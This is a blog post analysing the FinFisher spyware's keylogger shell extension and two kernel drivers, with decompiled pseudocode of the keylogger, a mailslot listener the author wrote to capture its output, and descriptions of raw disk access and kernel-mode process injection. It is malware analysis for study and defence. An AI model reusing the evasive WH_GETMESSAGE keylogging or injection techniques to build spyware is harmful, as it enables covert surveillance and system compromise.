FinFisher Shell Extension and Drivers Analysis

  • Posted on: 14 October 2014
  • By: siteadm

As requested on reddit and twitter, this time I'm going to analyze final pieces of FinFisher malware: shell extension, driverw.sys and mssounddx.sys. No time to waste, so let's begin:

a) Shell Extension (KeyLogger)

As title says, shell extension's main/whole purpose is logging user's keystrokes. As Finfisher malware, never ceased to amaze me, this shell extension amazed me too. This DLL file, basically sets up global hook using SetWindowsHookEx API, records keystrokes of user, as a typical simple keylogger, but with a small difference. This keylogger doesn't hook WH_KEYBOARD or WH_KEYBOARD_LL, it hooks WH_GETMESSAGE, so basic keylogger detection methods won't be able to call it a "keylogger", even static analysis wouldn't show it as a keylogger, because it's hooking windows messages. Anyway, I'll do my best to decompile and write a psuedo code of the DLL file. Before starting, I should mention that DLL compilation date/time is: 10/28/2010 11:57:36 AM which I think is correct and unaltered. Anyway, here is the details of the DLL:

  • Calls CreateEventW API with "Local\\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFA0}" as event.

  • Calls LoadString (unicode) two times to load two strings from resources and then it uses them as filename for saving logged keys and window titles. Filenames are: "\\\\.\\mailslot\\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFE0}" (FILE1) and "\\\\.\\mailslot\\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFE1}" (FILE2)

  • Opens both these files at beginning and stores handles globally, so whole DLL will be able to call WriteFile using same handle.
  • Sets up ImmGetCompositionStringA and ImmGetCompositionStringW hooks, these two are exported from imm32.dll

  • Calls SetWindowsHookExW to setup a global hook using WH_GETMESSAGE as hook type. 

  • In the hook handler (callback) function, checks callback type to WM_KEYDOWN and uses WriteFile API to write keystroke details to FILE1.

So psuedo code should be something like this:

void SetupHook()
{
	HANDLE eventHandle = CreateEventW(0, 0, 0, L"Local\\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFA0}");
	if (eventHandle)
	{
		if ( GetLastError() == 183 )
			CloseHandle(eventHandle);
		else
		{
			if ( HookHandle )
			{
				UnhookWindowsHookEx(HookHandle);
				HookHandle = NULL;
				glbVar1 = 0;
			}
		}
	}

	if ( !LoadStringW(hmod, 0x101, &File1, 260) || !LoadStringW(hmod, 0x102, &File2, 260) )
		return 0;

	glbHandleFile1 = CreateFileW(&File1, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, 0x03, 0, 0);
	if ( glbHandleFile1 == (HANDLE)-1 )
	{
		lstErr = GetLastError();
		errmsg = FormatMessageCall(lstErr);
		LocalFree((HLOCAL)errmsg);
	}
	glbHandleFile2 = CreateFileW(&File2, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, 0x03, 0, 0);
	if ( glbHandleFile1 == (HANDLE)-1 )
	{
		lstErr = GetLastError();
		errmsg = FormatMessageCall(lstErr);
		LocalFree((HLOCAL)errmsg);
	}
	imm32Handle = LoadLibraryA("imm32.dll");
	if ( imm32Handle )
	{
		fGetCompositionW = GetProcAddress(imm32Handle, "ImmGetCompositionStringW");
		ret = HookSetup(fGetCompositionW, (int)GetCompositionWHook, (int)&RealGetCompositionW);
		fGetCompositionA = GetProcAddress(imm32Handle, "ImmGetCompositionStringA");
		ret = HookSetup(fGetCompositionA, (int)GetCompositionAHook, (int)&RealGetCompositionA);
	}
	glbHHook = SetWindowsHookExW(WH_GETMESSAGE, (HOOKPROC)HookCallback, hmod, 0);
}


LRESULT CALLBACK HookCallback(int code,WPARAM wParam,LPARAM lParam)
{
	LPMSG lpMsg = (LPMSG) lParam;
	if (!code && wParam == 1 && lpMsg->message == WM_KEYDOWN)
	{
		memset(&Dst, 0, 0x434);
		GetKeyboardLayoutNameA(&pwszKLID);	
		
	
		HWND TheHWND = lpMsg->hwnd;
		HWND pHWND = TheHWND;
		curProcID = GetCurrentProcessId();
		GetWindowThreadProcessId(TheHWND, &dwProcessId);
		hWnd = v6;
		while ( curProcID == dwProcessId )
		{
			pHWND = TheHWND;
			pHWND = GetParent(pHWND);
			if ( !pHWND ) break;
			GetWindowThreadProcessId(pHWND, &dwProcessId);
		}
		
		memset(&wndTitle, 0, 0x208);
		GetWindowTextW(pHWND, &wndTitle, 259)
		
        WriteFile(File1, &Dst, 0x434u, &NumberOfBytesWritten, (LPOVERLAPPED)v7);
	
	return CallNextHookEx(hHook, code, wParam, lParam);
}

So, using Microsoft's sample code, I wrote a code to listen for both Slots, here is the code:

#include <windows.h>
#include <tchar.h>
#include <stdio.h>
#include <strsafe.h>

HANDLE TheSlot1;
HANDLE TheSlot2;

LPTSTR SlotName = TEXT("\\\\.\\mailslot\\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFE0}");
LPTSTR SlotName2 = TEXT("\\\\.\\mailslot\\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFE1}");

BOOL ReadSlot(HANDLE hSlot) 
{ 
    DWORD cbMessage, cMessage, cbRead; 
    BOOL fResult; 
    LPTSTR lpszBuffer; 
    TCHAR achID[80]; 
    DWORD cAllMessages; 
    HANDLE hEvent;
    OVERLAPPED ov;
 
    cbMessage = cMessage = cbRead = 0; 

    hEvent = CreateEvent(NULL, FALSE, FALSE, TEXT("ExampleSlot"));
    if( NULL == hEvent )
        return FALSE;
    ov.Offset = 0;
    ov.OffsetHigh = 0;
    ov.hEvent = hEvent;
 
    fResult = GetMailslotInfo( hSlot, // mailslot handle 
        (LPDWORD) NULL,               // no maximum message size 
        &cbMessage,                   // size of next message 
        &cMessage,                    // number of messages 
        (LPDWORD) NULL);              // no read time-out 
 
    if (!fResult) 
    { 
        printf("GetMailslotInfo failed with %d.\n", GetLastError()); 
        return FALSE; 
    } 
 
    if (cbMessage == MAILSLOT_NO_MESSAGE) 
        return TRUE; 
     
 
    cAllMessages = cMessage; 
 
    while (cMessage != 0)  // retrieve all messages
    { 
        // Create a message-number string. 
 
        StringCchPrintf((LPTSTR) achID, 
            80,
            TEXT("\nMessage #%d of %d\n"), 
            cAllMessages - cMessage + 1, 
            cAllMessages); 

        // Allocate memory for the message. 
 
        lpszBuffer = (LPTSTR) GlobalAlloc(GPTR, 
            lstrlen((LPTSTR) achID)*sizeof(TCHAR) + cbMessage); 
        if( NULL == lpszBuffer )
            return FALSE;
        lpszBuffer[0] = '\0'; 
 
        fResult = ReadFile(hSlot, 
            lpszBuffer, 
            cbMessage, 
            &cbRead, 
            &ov); 
 
        if (!fResult) 
        { 
            printf("ReadFile failed with %d.\n", GetLastError()); 
            GlobalFree((HGLOBAL) lpszBuffer); 
            return FALSE; 
        } 
 
        // Concatenate the message and the message-number string. 
 
        StringCbCat(lpszBuffer, 
                    lstrlen((LPTSTR) achID)*sizeof(TCHAR)+cbMessage, 
                    (LPTSTR) achID); 
 
        // Display the message. 
 
        _tprintf(TEXT("Contents of the mailslot: %s\n"), lpszBuffer); 
 
        GlobalFree((HGLOBAL) lpszBuffer); 
 
        fResult = GetMailslotInfo(hSlot,  // mailslot handle 
            (LPDWORD) NULL,               // no maximum message size 
            &cbMessage,                   // size of next message 
            &cMessage,                    // number of messages 
            (LPDWORD) NULL);              // no read time-out 
 
        if (!fResult) 
        { 
            printf("GetMailslotInfo failed (%d)\n", GetLastError());
            return FALSE; 
        } 
    } 
    CloseHandle(hEvent);
    return TRUE; 
}

BOOL WINAPI MakeSlot(LPTSTR lpszSlotName) 
{ 
    TheSlot1 = CreateMailslot(lpszSlotName, 
        0,                             // no maximum message size 
        MAILSLOT_WAIT_FOREVER,         // no time-out for operations 
        (LPSECURITY_ATTRIBUTES) NULL); // default security
 
    if (TheSlot1 == INVALID_HANDLE_VALUE) 
    { 
        printf("CreateMailslot failed with %d\n", GetLastError());
        return FALSE; 
    } 
    return TRUE; 
}


BOOL WINAPI MakeSlot2(LPTSTR lpszSlotName) 
{ 
    TheSlot2 = CreateMailslot(lpszSlotName, 
        0,                             // no maximum message size 
        MAILSLOT_WAIT_FOREVER,         // no time-out for operations 
        (LPSECURITY_ATTRIBUTES) NULL); // default security
 
    if (TheSlot2 == INVALID_HANDLE_VALUE) 
    { 
        printf("CreateMailslot failed with %d\n", GetLastError());
        return FALSE; 
    } 
    return TRUE; 
}

void main()
{
    MakeSlot(SlotName);
	MakeSlot2(SlotName2);
   while(TRUE)
   {
      ReadSlot(TheSlot1);
	  ReadSlot(TheSlot2);
      Sleep(1000);
   }
}

Here is result while Finfisher keylogger was running:

b) Driverw.sys

I'll keep this one short as actual work of this driver is almost nothing. During MBR infection, user-mode code tries to access \\.\PhysicalDrive0, if it was able open physical drive successfully, it won't bother with driverw at all. If user-mode code wasn't able to access physical drive, it will load driverw.sys, call it from user mode to first open the physical drive, then it calls driver several times again to read and write to physical drive. So I think maybe they called it driverw, because it's a helper driver for Writing MBR code.

As you can see it defines two functions only, one function which I renamed to FuncDiskAccess (actual main function, which access disk etc.) and UnloadDriver

Then driver calls ObReferenceObjectByHandle to get device object pointer. Consequently it calls IoGetAttachedDeviceReference to get DeviceObject itself. 

Now having device object, it can directly call IRPs of this object driver. So it will have direct access to whole PhysicalDrive0 without any check or access control. As last step it uses not documented or "not-well-documented" IofCallDriver function to read/write to disk. 

c) mssounddx.sys

We actually talked about this driver in previous post during MBR analysis. But here I'll analyze it a little deeper. This driver is basically process injector, it waits for winlogon.exe and explorer.exe to run, then it allocates memory in them, decrypts malware payload using same XOR algorithm and finally calls NtCreateThread function. Here is breakdown:

Driver entry:

As you can see it simply call a function which I renamed to InitAndCreateThread. This function checks for registry mssounddx entry, if it exists, it creates a system thread:

As you can see in the picture above, thread function is StartRoutine. This is what StartRoutine looks like: 

This is driver's start routine. As you can see first, it reads SSDT (KeServiceDescriptorTable), then it calls a function which I renamed to LocateNtCreateThread. This function basically locates NtCreateThread in SSDT. See:

Using these xor and sub instructions, it allocates and pushes 2 strings into stack, ntdll.dll and NtCreateThread. After pushing strings into stack, it calls ResolveAPI which allocates a pool with 0x11223344 tag, then calls ZwQuerySystemInformation with SystemModuleInformation (0x0B) class. Then first it loops through modules to find ntdll.dll, afterwards, it loops through ntdll.dll functions to locate NtCreateThread function. In the end, it calls ExFreePoolTag to unallocate 0x11223344 pool.

Back to StartRoutine, you'll see there is a call to a function which I renamed to InjectToProcess. This function is the whole purpose of driver. This function, waits for winlogon.exe and explorer.exe to run, until then, it keeps calling KeDelayExecutionThread (2 second delay). See:

Then there is unnecessary code here, actually I don't think it's possible to have explorer.exe running without winlogon.exe already running. but I think programmers just copy/pasted the code for loop for winlogon.exe, which is unnecessary. See:

When it finds WinLogon.exe, it opens the process using ZwOpenProcess, then it allocates memory several times in it:

Next it finds offset of DLL to inject and decrypts it using same XOR algorithm:

XOR algorithm which is same in all Finfisher malware modules:

In the end, it calls dynamically found NtCreateThread, frees the allocated memory pages used in kernel, call PsTerminateSystemThread to terminate it's own thread.

That's it. I hope you enjoyed whole Finfisher malware analysis articles. Feel free to comment or send an email about your questions. 

Also I want to thank everyone who helped to spread the word by retweeting, I really appreciate it.

Comments

Best RE site ever!!!

Hi! Great article!

Maybe a little mistake. You say: "calls ZwQuerySystemInformation with SystemProcessInformation (0x0B) class."

but ZwQuerySystemInformation with 0x0B seems to be SystemModuleInformation, not SystemProcessInformation (0x05)

Thank you so much for reading the article carefully, I've updated article and fixed the issue.

Add new comment

Plain text

  • No HTML tags allowed.
  • Web page addresses and e-mail addresses turn into links automatically.
  • Lines and paragraphs break automatically.
CAPTCHA
This question is for testing whether or not you are a human visitor and to prevent automated spam submissions.
Image CAPTCHA
Enter the characters shown in the image.